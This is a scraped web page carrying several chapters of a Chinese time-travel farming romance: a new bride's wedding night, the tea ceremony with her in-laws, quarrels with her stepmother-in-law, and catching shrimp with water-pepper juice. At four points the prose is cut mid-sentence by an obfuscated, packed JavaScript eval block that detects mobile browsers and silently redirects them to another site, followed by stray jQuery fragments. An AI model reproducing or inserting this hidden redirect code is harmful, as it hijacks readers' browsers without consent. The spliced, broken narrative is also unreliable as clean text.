不过和上面这些嫁妆比,最重要的还是今日带来的箱笼那角落里的一个荷包,里面是丁宏和柳萍偷偷给她凑的私房,怎么也有几两银。 这几两银买不了什么大物件,关键时刻倒也能用得上。 丁宝珠只感觉心头热乎乎的,这父母俩对待原主那是真的好啊! 从黄昏到入夜不消炷香的功夫,房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139052|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里唯一的窗口外已经暗下了,更衬得那烛光亮堂,映出丁宝珠的身影来。 她侧耳一听,室外少许喧嚣,一定是院里开席了,偶尔还能嗅到一丝若有若无的香味。 丁宝珠撇撇嘴,摸摸自己的肚子,里面也在轻微震动,这迎亲虽是傍晚才来,可整个白天她被柳萍姚丹叮嘱着少吃些,她也只能简单吃点,眼下早就饿了。 庆幸成婚最少不了各种美好象征的干果,特别这喜床上还铺了许多。丁宝珠随手一取,就抓到了一把红枣和落花生,擦了擦就吃。 但那床上总共也没有多少干果,丁宝珠很快就吃完了,连个垫补都算不上,只能舔舔唇继续回味。 只听得室外热闹,仿佛浪潮一股涌着一股,片刻后终于小了起来,颇有种要结束的意思。丁宝珠也不知究竟等了多久,又是半盏茶后,房门被打开,透过朦胧的光线,她见着,应当是徐晔进来了。 可他进来也是非常缄默的,连那脚步也轻,随即抬眼看过来,慢慢走到了床边。 他离得越近,丁宝珠越闻到一丝酒气,大抵是这个新郎官在席上被多灌了酒,但也不难闻。 接着头面上一轻一凉,那盖头就被揭了,丁宝珠悄悄瞅了一眼,那徐晔的两颊果然覆着一层淡淡的粉意,似是微醺眼饧,下一秒就能睡过去。 丁宝珠感觉尴尬,正想着到底要不要开口,却发现徐晔又伸手,然后摸着自己的头顶。她疑惑地霎霎眸,之后便见徐晔把那朵桃花枝给取了下来。 烛光微动,气氛微妙,然而就在这时,从丁宝珠身上蓦地传来了咕噜噜的声音,在这环境里反而清晰得惊人。 徐晔既做了猎户,最要迅速地察觉到四周的风吹草动,这异响他自然发觉了,于是他皱皱眉问道: “什么声音?” 丁宝珠不好意思地搔搔脑袋回答:“那个……我饿了。” 徐晔无语,但立刻转身离去,没过多久重新回来,还端来了几碗菜,放在屋里唯一的一张方桌上,正好也是在那红烛之下。 丁宝珠上前去,见那几碗菜近乎都是没有动过的:有炙骨、油鸡、红鸭、腊肠,炒得喷香的肉丁、煎得两面金黄的豆腐、炸得脆香的小鱼儿,另有韭菜、香菌、片笋、生菜、还有一大碗米饭。 这看得她笑得眼睛都眯起来了,喜道: “谢谢你,徐晔,我今天几乎没吃什么,新娘又没法上席,可饿了!” 徐晔的脸色略松,又有些困意,嗄声道: “那你先吃着,我……我去躺会儿。” 丁宝珠答应,徐晔就摸着脑袋,脱了外衣,躺下床就闭了眼。 丁宝珠坐在那桌边吃饭,那前面那四小碟应该是冷菜,里面没有多少,而且吃喜宴又大多数是来喝酒的,所以剩了那么些,还能收起来继续吃。 只是之后的那些热菜也有些冷却了,她却不在意,一口一个豆腐炸鱼儿,其他的小菜又是用各种调料或腌或拌的,很是下饭,丁宝珠饿极了,再加上旁边也没人看着,也就毫不扭捏地大口大口吃着。 最后她摸了摸安抚过的肚肠,又把那些碗筷收拾好,只是她不确定究竟要不要拿出去,就去了那床边。 徐晔紧闭着眼,丁宝珠轻轻推了推他,既没推动,也没推醒,貌似真的睡着了,毕竟喝多了酒。 丁宝珠又挠挠脑袋,又听门外寂静,便准备带着碗筷出去,也好快速地熟悉一下周围。 26. 红枣桂圆茶 说干就干,她拿着那些碗筷就打开木门,转了转头,见的确没人,连那桌椅都给收起来了,就悄悄出来。 这徐家要比丁家的房间少,住人的只有三间小房,挨挨挤挤的,剩下的则是灶间和茅房,倒显得院内空出了一片,但在皎洁月光的照射下,丁宝珠隐约见到那里放着什么工具,看不真切,她也不懂。 结构简单,她也就很快找到了灶间和储水的水缸,正想着收拾手头里的碗筷,却听旁边不远处猛然有谁说道: “哟,新媳妇儿这是在做啥呢?” 丁宝珠转头一瞧,听这声音,她知晓这是那个她进门时放火盆的人,也就是徐晔的那位姨母。 她想了想,学着后者那样叫了一声,说道: “我想把这些碗筷洗了,姨母。” 结果听到了这个词,那妇人脸色微变,眯着眼没好气道: “这时候你应该是好好伺候你夫君休息,别的事儿要忙啥?喊一声也就罢了。再说了,村里有哪家新媳妇上桌的?不过就是这一顿而已,忍忍又怎的?明朝又不是不给你饭吃。” 她一边说着,一边把丁宝珠手里的碗筷径直拿了过来。 后者听着她怪里怪气的话语,瞬间明白自己好好说话是没有用的,马上摆出了一副稍显委屈的模样回答道: “夫君他方才宴上喝多了酒,胃里不舒服,所以才想吃点东西垫垫,还叫我吃了,现在也睡下了,我才想着把碗筷收拾了,姨母是长辈,小姑子们想必已经休息,我怎能劳烦呢?” 反正徐晔已经睡了,那醉的程度,估计明天基本都想不起来发生了什么,她怎么说也没事儿。 而作为一个尽在镜头前出镜的博主,这点戏还不是信手拈来? “……真的?”那妇人有些半信半疑,最终也不再多说什么,挥挥手道,“行了行了,你回去吧,时辰也不早了。” 丁宝珠乐得不做事,直接就回了房。 徐晔依旧在睡,甚至睡得愈发沉了,丁宝珠瞧着也不禁打了个哈欠。脱了外衣和鞋,还穿着中衣,又吹了那双快要燃完的红烛,就在他旁边睡下了。 倒是一夜无话,可丁宝珠心里念着柳萍千叮咛万嘱咐的事,鸡叫一声的时候就慢悠悠醒来了,鸡叫二声,她就不得不爬了起来,惺忪地穿上衣裳,揉着眼出了屋。 这村里的婚礼真是既简单又繁琐,明明迎了亲后连印象中的拜堂都没有,可第二天那新娘子却要早早起身,去给那公婆敬茶去。 才伸了个懒腰的功夫,那神龙不见首尾的妇人又出现了,丁宝珠听见她嘴里碎言道: “怎么也不收拾好再出门?看你头乱的,又起得那么晚,哪里像是个媳妇样子?” 这嗡嗡嗡的声音丁宝珠自动无视了大半,只是她抬手摸摸脑袋,原来自己还是披头散发的,而嫁了人,好像就要绾髻来着? 可是昨天晚上,她和徐晔好像什么也没做…… 算了,没做正好,估摸着徐晔也不喜她,自然不会碰她,不是还给她讲了那些话么? 那妇人接着想说,丁宝珠一口打断道: “知道了姨母,我回去整理,一会儿就去给你和爹敬茶。” 她说完,转身就走,完全不给那妇人再开口的可能——要是多回答一句,还费自己的唾沫呢! 丁宝珠从搬来的箱笼里找到了梳子,又寻了根木钗,好不容易绾出了个松松的发髻,这才重新出门。 来到灶房,那布局和丁家差不多,只是房梁上吊着不少肉干,毕竟猎户去打猎除了变现就是自用,肉应该是不少吃的。 丁宝珠在灶里生了火,又从水缸里舀水烧,灶膛里火大,她继而找了碗出来盛。 虽然称作敬茶,但其实热水也是可以的,主要还是看那形式。丁宝珠转了转眼,便又在里面放了些其他的东西,这才做了两碗茶水,端去了正屋。 柳萍当年也是这么过来的,所以这个步骤对她说了好多次,她记不住也能记住了。 “爹,姨母,我过来敬茶了。” 丁宝珠在门口说着,下一刻,就听屋里回应道: “嗳,你进来吧。” 丁宝珠应声进房,那徐翊和妇人,还有她那两个新小姑子都在房里,貌似早已晨起了。 那妇人实际姓李,叫做银屏,是徐翊发妻去世后续娶的,也是那发妻的妹子,但村里这种小姨子做填房情况也不罕见,所以也就这么过了,而那徐莹和徐芝也是那李银屏所出的孩子。 只见那李银屏的脸上,似乎仍然有种不悦的神情,仿佛眼前的人不知何时已经欠了她百八十两的银子。丁宝珠只做瞧不见,端着托盘朝徐翊笑道: “爹,我泡了茶水来敬,请赏脸。” “当然好。”徐翊答应着,却问道,“晔儿呢?他咋还没起?” 不等丁宝珠回答,李银屏就解释道: “昨儿他被灌了那么多酒,今儿起不来也是会的,前些日子他也常出门,总不闲着,就让他多睡会儿吧。” 徐翊依旧有些不满,丁宝珠这时说道: “爹,徐晔他一定是累着了,总归这茶水也是我这个做儿媳妇的该做的,就让他多休息吧。” 徐翊看着稍许惊讶,但马上喜道: “好,好,我们也没什么想要求的,只要你和他今后能好好过日子就行,我们也放心。” 李银屏在一旁满脸不信任,而不出声的徐莹和徐芝相互对视一眼,继续不出声。 丁宝珠双手持杯,躬着身子给徐翊递了茶碗。徐翊接过,只觉得那淡淡的雾气里还夹杂着一抹清新的甜香,笑道: “这茶水闻着不错,好儿媳,看来你真的懂事了不少。” 丁宝珠又端了另一碗茶水,弯腰递给李银屏,可后者却仅是瞅了瞅,突然对边上的徐翊说道: “当家的,你今天还要下地么?若是要去的话,啥时辰回来?” 她说完,又对身旁的徐莹徐芝嘱咐道: “这小姑子要见新嫂子也是习俗,现在见也见过了,你们先去吧,莹儿,你带着芝儿练女红去。” 七七/八八说的都是日常事儿,偏偏不去接丁宝珠手里的茶。而那茶碗事实上就是一个粗碗,连底下的碗托都没有,当然她也不可能在里面装滚烫的热水,毕竟是要敬上去的,被烫了怎么办? 可是她这个做媳妇儿的敬茶,必须要将腰部鞠得十分低,那茶碗还得往上举着,时间一长就酸起来。 丁宝珠挑了挑眉,这李银屏,分明是在给她立威呢! 本来就是不喜她的,眼睁睁又给娶了进来,那还有好脸色? 她想了想,突然笑盈盈说道: “爹,姨娘,我早听说这做新媳妇的都需要给新公婆敬茶,这里面最好还要图个吉利呢,所以特意从家里带来了红枣和桂圆,都是亲手晒的,不知尝着怎样?若是喜欢,之后莹儿芝儿也喝得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176354|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她们肯定喜欢这个味道!” 丁宝珠说着,某处还故意着了重音,随即便乖巧地眨着眼只看向徐翊,任谁瞧,都好像是在讨要着什么。 徐翊听了这话心里更是舒坦,拍了拍自己的脑袋,大悟道: “是了是了,看我这脑子,在这敬茶礼上,我们做长辈的,得表示表示才对,差点给忘了!” 说完,他就从衣里取出了什么递过来,微笑道: “晔儿媳妇,这个你收下,不可拒绝了,本来是你和晔儿一人一份,他既不起,你就都拿着,以后你们是一家子,都是一样的。” 丁宝珠先道了谢,这下她终于可以暂时直起腰来了。 接过一瞧,原来是两个素色荷包,轻微地掂量掂量,里面装着什么,她很快就心里有数,莞尔地响亮道: “多谢爹!” 而在这之后,她快速收起那荷包,再度端着茶碗,笑着对那李银屏说道: “姨娘,请喝茶吧?” 李银屏稍稍睁大双眼,她也确实有着想给这个不满意的儿媳妇先敲打敲打的念头,村里哪个做婆母的不这么做?可她没想到,这丁家大姐明显是不怕她,不仅如此,还反过来先在她眼皮底下先讨了笔徐家的财! 可现下自己的一举一动全被徐翊看着,再说后者都表示过,那她还不得意思意思?否则也不知前者会说什么。 李银屏略微沉着脸,一双少许上挑的杏子眼,此时更是竖起了那两道湾湾眉。抿着嘴,最后只好接了那碗已经冷却不少的茶水,也拿出了两个荷包来,一个字也不说。 丁宝珠收了那荷包,跪拜着又磕了三个头,嘴里恭敬道: “爹,姨娘,儿媳知道自己以往脾气差,这一点,我爹娘也与我讲过了,况且我之前抗婚,虽然太过激进,却也被点醒,今后一定会安安分分的了。” 不管怎样,先把这人设给立住了!何况这徐翊还是个没什么心眼的人,似乎根本没发觉这一对新婆媳早已是默默开战了几轮。 徐翊多见了丁宝珠数面了解过后,对这番「肺腑之言」更是相信,连忙让她先起,说道: “这婚事也是我和你爹私自定下的,你们原本就不知道,长大后自然会抗拒,也不怪你。你现在能这么想就是最好的,以后在这就和在自个儿家一样就成,别拘束!” 丁宝珠还未来得及回复,李银屏却在一旁冷笑道: “当家的,你也太偏了些,你和丁大哥关系好不假,她女儿却是过来做儿媳的!儿媳就该有儿媳的样子,莹儿和芝儿才是你亲女儿呢!” 她说着,又转过来撇着眼道:“行了,这茶也敬了,你今儿还起得那么晚,那还不准备早食去?” 丁宝珠心里回了个冷笑,面上却继续委屈兮兮地回道: “可是娘嘱咐过我,我应该先服侍我的夫君才是,今天不免就晚起了些,又紧着先去泡茶,所以也就没有时间来做早食了……” 她说到这,又变得支支吾吾,看着倒有点羞涩。 徐翊好像倏忽就开了窍,对李银屏不满道: “是啊,今天是人家夫妻新婚头一日,你这个做婆母的,才第一天,就盯着让儿媳妇忙?而且平常不也是你做早食的么?今天咋就不会了?” 李银屏一噎,没好气地瞪了丁宝珠一眼,也就离开屋子,想必是去灶房了。 而丁宝珠也道了声离去,怀揣着那几个荷包,偷笑着回房去了。 27. 荞麦粗饼子 丁宝珠一回到屋内,就见到徐晔盘腿坐在床上,那喜帐半开半闭,也没风吹,他像是再发呆,直愣愣地往一个地方出神看着。 她上前在他眼前挥挥手,笑着问: “在想什么呢?你醒了没?方才要我去给爹和姨母敬茶,见你不醒,我就自己去了。” 徐晔回过神,抬眼一瞧,只见丁宝珠穿着靛青色的布衣绢裙,身材要比平常女子更高挑些,黑油油头发扎着虚笼笼的发髻,留着一绺子碎发,鹅蛋面儿上一双清澈明亮的眸子好像两只轻轻摇动着的小铃铛,挺直的鼻梁,红润的嘴儿,也在大大方方看着自己。 丁宝珠见徐晔虽是回过神,却不说话,而那本来已经恢复成原态的脸庞,莫名其妙又覆上了浅浅的一抹颜色,就如同昨晚喝了酒后的样子。 她皱皱眉,也坐在床上,拿出那些荷包在她面前晃了晃,笑道: “叫你起这么晚,敬茶时的新人礼我就都收下了哦?” 徐晔挠了挠后脑,好半天才吐出一个字来: “哦……” 丁宝珠听了,也就打开荷包来瞧。荷包易得,只要是学过女红,有材料的话都能够做。里面既有银子,也有铜板,不过能拿出这些,已经是很给新人面子了。 她粗略数了数,又对徐晔说道: “里面大概有两钱八分,是先收起来还是怎的?” 徐晔冷静下来,但却偏过了头,小声道:“是爹和姨母给的,那就先收起来吧,以后万一出了什么事儿也能拿出来。” 虽然他不太喜她,可无论如何也成了家了,总是听闻丁宝珠刁蛮任性是出了名的,自己可不能随她。 不过至少目前为止,他也没真的见她乱发什么脾气…… 徐晔想到这,不由得又说道: “抱歉,昨晚我被硬拉着喝酒,之后啥也想不起来了,今早也起晚了,不然我得和你一起去敬茶的。” “没事,你不来,我不是还讨了双倍的赏么?” 丁宝珠摆摆手,心里却暗暗想,幸好徐晔没来,否则她刚刚有的话还真没法讲,估计徐晔也不会完全向着她。 这时她又问: “我看你应该是宿醉了,头疼不疼?想不想吐?我给爹和姨母做的是桂圆红枣茶,还剩不少呢,你也喝一碗去去酒气?” 这声音听着清脆,但村里女子都是差不多的,没有城镇里那些温婉娇美。可徐晔听着,仿佛已经喝下了一碗茶水,只感到心头暖乎乎的。 他爹对他好,却总归粗糙了些,姨母也对他不错,但更好那亲生的妹子,几个关系好的哥们儿,也只能算是外人。自己一个人惯了,冷不丁成了家,身旁有了个人,这感觉……貌似还不错? 不过传言的威力太大,徐晔心里仍旧有颗种,可态度放下了点,正点头,却听室外有人喊道: “吃早食了!——” 徐晔换了衣物和丁宝珠一起出去,徐家人员少,就在院里搬了张桌,放了椅坐,围着吃饭。 两人还没到,却又听见不远处传来几声熟悉的吠叫声。徐晔吹了个口哨,一条全身黑黝黝的,只有那耳廓、四肢,特别是一双葡萄似的瞳孔上,还有一双明显的豆眉,皆是土黄色的大狗摇着尾巴飞快跑了过来。 丁宝珠眼前一亮。 竟然是一条四眼铁包金! 徐晔吹了声口哨,命令道: “黑虎,坐下!” 那叫做黑虎的大狗汪了一声,真的坐下了,只是看了徐晔一眼后,很快就又瞧向了丁宝珠,似乎仍然有些不信任在。 “我们有时候上山就带它一起去。”徐晔给丁宝珠解释道,“平常就放在家里看家,它可懂事了,你别怕它。” 村里也有其他人家饲养狗的,主要也是用来看家,可大抵是猎户更驯养有方,看来看去,还是徐家的这条铁包金教得最好。 果然还是咱们土生土长的田园犬最好! “嗯,我不怕。”丁宝珠回答着,又微微蹲下身,伸出一只手来让黑虎闻。那黑虎低头嗅了嗅,又多看了两人一眼,马上就吐起了舌头摇起尾巴,像是个简单的欢迎。 于是丁宝珠直起身,朝着徐晔抛了个眼,笑道: “走吧,去吃早食!” 徐晔不自主弯弯唇角,跟她一起走了。 素日里其他女子,就是他控制着也是躲得远远的,这丁宝珠倒是一点也不怕,就连那黑虎,也鲜少有这么自来熟的时候。 原以为她嫁进来只会有惊,没想到这几回倒是只有喜——这是他没想到的。 两人坐了下首,桌上放着一大碗浅色稀粥,里面没什么米,更像是米汤,还有一盘深色的饼子,另有几碟子小菜,吃得也很普遍。 徐家也没啥规矩,徐翊简单讲了几句就动筷了。丁宝珠拿起一双木筷,悄悄一看,一家子人都拿了那饼子吃,然后喝米汤吃那小菜,所以她也取了一个。 这饼子大概一个拳头大小,那底部还有些略焦,她咬了一口,一尝就知道是粗粮饼子,而且好像是荞麦做的,那粗粝的程度绝对要用米汤才能顺下,真是一点白面也没掺。 这饼子,还有些像是那日她见到徐晔时后者手上吃的饼子,看来他家和丁家比,多有吃面食的。 可丁宝珠倒也能想明白,这徐家一大一小俩捕猎的猎户,经常是上了山后少则一两天,多则数日待在上面的,这饼子肯定比吃米方便。 不过……看来她也不能忽略,这村里还是有人是吃面食的。 丁宝珠想着想着又惦上了自己那暂停的生意,一时没吃了,被那李银屏瞧见了,她夹了一筷笋干子在饼上,嗤声道: “早食都做好了,还不赶紧吃?难不成还要别人喂?这家里的吃食难免比不上你娘家,你可多担待些。” 她说完,又拿了一个小的饼子,转手就扔到了黑虎身前的大碗里。黑虎跟着他们一起吃,米汤里浸着这饼子,它也能吃得很香,更是连脑袋也不抬。 两个小的埋头喝米汤,一双眼珠子滴溜溜地在两边转不出声。徐晔蹙眉,正想开口,边上的丁宝珠却悠悠回答道: “姨母这是哪里话,打一开始姨母就想让我帮着做早食了,我不得仔细观察这早食怎么做,大家又爱吃什么?再说我家也不是特别富裕,吃的也都是差不多的,姨母何必这样讲!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187175|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说着,又咬口粗饼子,抬碗咕嘟咕嘟喝米汤,直接就饮了个干净。 “好了,快吃吧,等会儿还要下地去。”徐翊打着圆场。 李银屏撇了撇嘴,到底是没再说话。 徐家虽然做着猎户,家里却也有些地产,应该是前代购置的,而且也不大,连一亩也没有,那几分地,徐家都用来种植点蔬菜粮食什么的农作物,也因为地不大,不像其他人家那样要忙数月。 可现在正是耕种好时节,所以饶是徐家,也要与其他农夫那样下地劳作。 那粗饼子极填肚,吃了两个,完全能支撑到午时。而吃过了早食,丁宝珠就和李银屏去了灶房洗刷碗筷。 李银屏斜了她一眼,不知想到了什么,又吩咐道: “晔儿媳妇,今天估计他爹要带晔儿下地,家里水不多了,一会儿你去挑些回来,把那大缸给放满了。然后再去山上砍些柴火,回来就差不多能给男人做午食送去了。” 说完,她也不等丁宝珠回复,像是学会了,直接就离开了灶房,完全不给她机会。 丁宝珠收拾好碗筷,心里想着,她得找个能够出门的理由。要知道她为了做那抹茶粉而买的那包绿茶,剩下的都还放在自己的箱笼里呢。 只是这个时候,那道儿上肯定已经有新的卖凉糕的摊子,所以等到那时,她要计划下新品才行。 恰巧这时,徐晔进来了,见丁宝珠有些出神,上前问道: “你说的那红枣桂圆茶还有么?” 丁宝珠反应过来,笑道: “有,都盛出来了,你是要和爹下地去吗?” 徐晔答应着,又把那皮水囊递了过来,宛如上次在摊前的情景一样。 其实买了那凉糕,又灌了整整一囊桃花茶,因为很对他的口味,所以把那……末茶味的凉糕都吃了,那桃花茶正好能顺下。 不得不说,他还有点想再吃呢。 丁宝珠已经在水囊里盛满了那红枣桂圆茶,重新还回去。徐晔接过,这才点点头道: “嗯,今天我和爹去地里,也要傍晚才回来。” “行,你告诉我你家地在哪,午时我去送饭。”丁宝珠说。 “……这不麻烦,我们会自己带过去的。”徐晔顿了顿才道。 “但是姨母和我讲,午时是要做午饭的,你们应该也不会回来吃吧?”丁宝珠笑道,“你也别拒绝了,莫非你还想吃那粗饼子?让爹也一块儿跟着吃?” 徐晔回答不上,只好答应了,又对她说了那田地所在,带着水囊离开灶房,再取了工具和徐翊出家门。 丁宝珠在这家里寻到了相同的扁担和容器,只是她并没有急着去挑水,而是背了个大筐子,里面放了斧头和镰刀,准备先上山去。 实际上那水缸里的水没空,就连那堆放在角落里的柴火,也起码能够再支撑一段日子,哪里需要现在就去补充?明显是李银屏想使唤她这个新媳妇罢了。 她来到这也的确不能什么也不做,而且能上山下河,说不定还能找到些新玩意儿,所以才这样听话。 想到这,丁宝珠便饶有兴致地出门了。 28. 香菇虾蓉酱(上) 好在原主本就有着一身力气,丁宝珠又提前来过那象山上,砍着柴火倒是不难,除此之外,前段时日又下过雨,这次她依然找到了不少能作为食物的东西。 下了山回家,家里十分安静,那趴在院里的黑虎动了动耳朵,见到是她,连身子都没有抬起来。 将新柴火和旧堆放在一起,丁宝珠又把那筐子里的物品拿出来整理了一番,可惜她的运气也花光在如同新手保护期的那次上,恐怕她以后是再也找不到羊肚菌了。 所以其余的便是一些野菜,笋子,菇子什么的,在这好春光中一茬接着一茬长出来,便宜了大家。 紧接着,丁宝珠用那扁担一前一后勾了容器,再去村里挑水。 想了想,她又带上一部分物品,这才出门去。 村里很少人家里有水井,毕竟夯土茅草屋盖一间不算贵,挖一口水井花销却非常多,还很麻烦,就连象山村的村长家里也没有水井。 可水井又是格外重要的设施,所以如今村里的这口井,还是村里人一起凑钱凿的,这样村里每家每户都能来打水,无非是多费点力气。 但与此同时,那水井旁时常排着长龙,所以丁宝珠不准备去那打水,而是挑着扁担去村里的那条溪流旁。 直觉告诉她,这溪流旁一定有她想要的! 这条溪流在象山村属于是溪流,可一直长长流淌着,几乎是滋润了附近数座村庄,尤其是位于尽头多数以捕鱼为业的水庆村的人。而在这里,人们大部分都会过来取水浣衣,丁宝珠远远就见到前面溪旁蹲着不少在浆洗的妇人的背影。 不过比起在劳作,丁宝珠更觉得那是一个大型八卦聚集地,还是能够互相交换的那种。 就像自己来到溪边后,不少妇人抬眼发现了她,倒也没有说话,可明显和其他妇人互相使了个眼神,还有些直接笑了笑,不知含义,继续挥舞着手里的棒槌。 丁宝珠也不理睬,放下扁担,双眼紧紧地望向了—— 那溪边旁生长的一丛植物! 那植物有着极细的杆茎和草绿色的尖叶子,还整整长了一大片,在微潮湿的春风里轻轻晃动着。 竟是成品十分好的辣蓼草! 而那些妇人们只顾着浆洗和谈论,又有几个孩童围在那溪水边,打着水漂,折着叶船,倒是没有直接下水的,也许是那水里依旧是凉浸浸的,没有谁察觉到她把那些辣蓼草都采了去。 好在丁宝珠多带了个篮子来,篮中放满了那辣蓼草,连指尖上也不免沾了抹叶上的汁液。她抬手闻了闻,又小小舔了下,辣得她又将舌尖吐了出来。 看来自己是没找错了! “哎呀,你咋那么笨,这都让它们跑了!” “你咧咧什么?有本事你来啊?站着说话不腰疼!” “吵啥吵,你们到底行不行啊?……” 丁宝珠回头一瞧,原来是几个约莫八九岁的待在溪边的孩子,也不知是为了什么而吵嚷起来。 眼看他们推搡着就要开始打架了,丁宝珠上前问道: “你们在干什么呢?” 那几个年龄稍大些的,虽然也听说过丁宝珠是个什么样的人,却也不全是那种熊孩子,只是愣然,接着就七嘴八舌地解释道: “我们在捉虾呢,他倒好,一连几次都让虾溜走了,真是浪费我的麸皮!” 那孩子说着,愈发气鼓鼓的,另一个听了则是涨红了脸,想要反驳,可这是事实,也没办法,只能回瞪了一眼。 丁宝珠见他们捉虾用的是个绑着细纱布的几根棍子,捉虾也需要饵料,特别是带着腥气的,若是用那种粮食就要慢上不少。 她笑着问:“看你们久抓不上来,不如让我试试?” “你?”几个孩子的目光看齐了,不仅不信,似乎还有点微微的嫌弃,“你咋话说得那么满,难道你能够抓到那虾子?” 丁宝珠笑道:“总归只是试试,要是没抓到也就算了,抓到了,你们分我一些虾就行,如何?” “可是我们没有饵料了,又要咋抓?”孩童们立马问道,也不顾眼前的人是丁宝珠了。 丁宝珠笑而不语,招招手,其中一个孩子便把那湿漉漉的工具递了过来,这溪边还有不少人,也不怕拿了就走。 丁宝珠就在篮子里取了点辣蓼草,又随手找了个石头,在手掌里碾碎,直把那草碾出汁液来,又寻了虾子会藏匿的地点,将那汁液给撒了进去。 在此期间,她还是继续做汁液不停地送入水里,那汁液浓了后,不消一会儿,就有个眼尖的孩子忽然大叫道: “你们快看!那虾子浮起来了!” 水面上零零散散出现了几个细小的影子,正是那些虾子,并且一个个横向漂浮着,看起来仿佛晕过去了。 这就是丁宝珠用那辣蓼草汁液的效果,辣蓼草的用途之一就是捕鱼虾,让那些鱼虾全部醉倒,又不至于毒死,方便捕获,但看样子这些孩子并不清楚。 孩子们一个两个都趴在溪边神奇地观望着,丁宝珠再握着那工具,将那些醉虾尽数捞到了岸上,甚至一动也不动。 那孩童们也不在意这,有一半是为了玩儿而已,见捉到了不少虾,各个拍手称赞起来: “能捉到那么多虾,太厉害了!” “咋做到的?快点教教我!” “这比饵料还厉害呢!” 在一片赞语中,丁宝珠默不作声地先收了大半虾子,才笑道: “想要捉猎物,旁边一定有更适合用的饵,或者干脆就是它们的天敌,你们去附近找找就行了,我还要回家去,不然赶不及了。” 说完,她就拿了满载的篮子,挑着扁担离开。有孩童不满,想接着问,却被另一个给拉住,摆摆手道: “你不知道?她现在嫁了人了,那徐家的李嫂子不是个好脾气的,现在还不知道她会受啥气呢,怕不是被李嫂子吩咐的,就过来讨我们的虾!” 又有的嘻嘻一笑道:“就是,你们平常见过她露那笑脸么?她嫁的还是那猎户家里,不听话,保准被打,看她还还凶不凶了!” “行了,咱们快去找找,她应该没诓我们,不然那些虾咋直接浮上来了?咱再捉点,还能带回去!” 那捉虾一下子成为了寻宝游戏,只是这些丁宝珠是不清楚的,带着身上的物品,她总算回到了徐家。 把扁担放下,丁宝珠抬起木桶,沿着水缸放了水。太阳已上了两竿,经过这一趟下来,她感觉额上已经出了一片薄汗。 那李银屏听见室外传来的水声,就明白人回来了,当即出门,伸着脖子往那缸内一瞅,嗤声道: “你是迷路了还是没收心?半日功夫,你才打了那么点水回来?吃得多,也没见你能干啥,你这是做媳妇儿的样子吗?” 丁宝珠淡然回道:“时辰不早了,姨母不是还嘱咐着回来做午食么?爹和徐晔下地辛苦,饿着他们就不好了。这缸里还有不少水,怎么也够今日用的了,况且我又不是之后不去,姨母何必这样咄咄逼人的?” 李银屏听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201074|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,却意外地不答了,只是一双稍眯的眼冷森森地盯着自己,似乎是怒极反笑,冷笑一声,转身就进了屋。 丁宝珠有些疑惑:她又是哪里惹到她了?如果只是因为打水慢了,也生气不到这个份儿上啊? 摇摇头,她还是准备先去灶房准备午时去。 毕竟就算不是为了给他人带饭,她自己也是要吃的。 上山收集柴火的时候,她顺便找了不少山里的货,其中包括许多香菇和野菜。舀水一一洗净,又兼那些被辣蓼草醉倒的虾子也陆陆续续醒过来,在盛满了水的盆中继续游荡起来。 丁宝珠灵机一动,已经想好午食做什么了。 灶房里也有几个半鼓不鼓的袋子,她打开一瞧,也是些糙米黍米,大抵是为了做粥,而剩下的是豆子和荞麦,尤其是那荞麦,已经被碾成荞麦粉了。 徐家的条件不差,可因为富裕程度也和危险程度成正比,所以没那么稳定,再加上地里大多数也不怎么种粮,粮食应当都是买来的,自然也不会有精米白面吃。 除此之外,也是与丁家差不多的腌菜坛子和干菜,至于调料,那就更少了,同样是猪油、粗盐什么的,不过就凭着那些肉干,在村里也是个人人眼里的好人家了。 丁宝珠猜想着这徐家大概不怎么讲究吃食,接着不死心地一通翻找,终于又找到了一点点豆酱和生粉。 好吧,做这顿午食也是够了。 丁宝珠先算好份量,舀了几大勺荞麦粉,连着那些生粉一起开始和面。 没有精面和鸡子,这荞麦面做出来的饼子粗得不行,所以她决定做成薄饼,再在里面卷上馅酱吃,肯定也香。 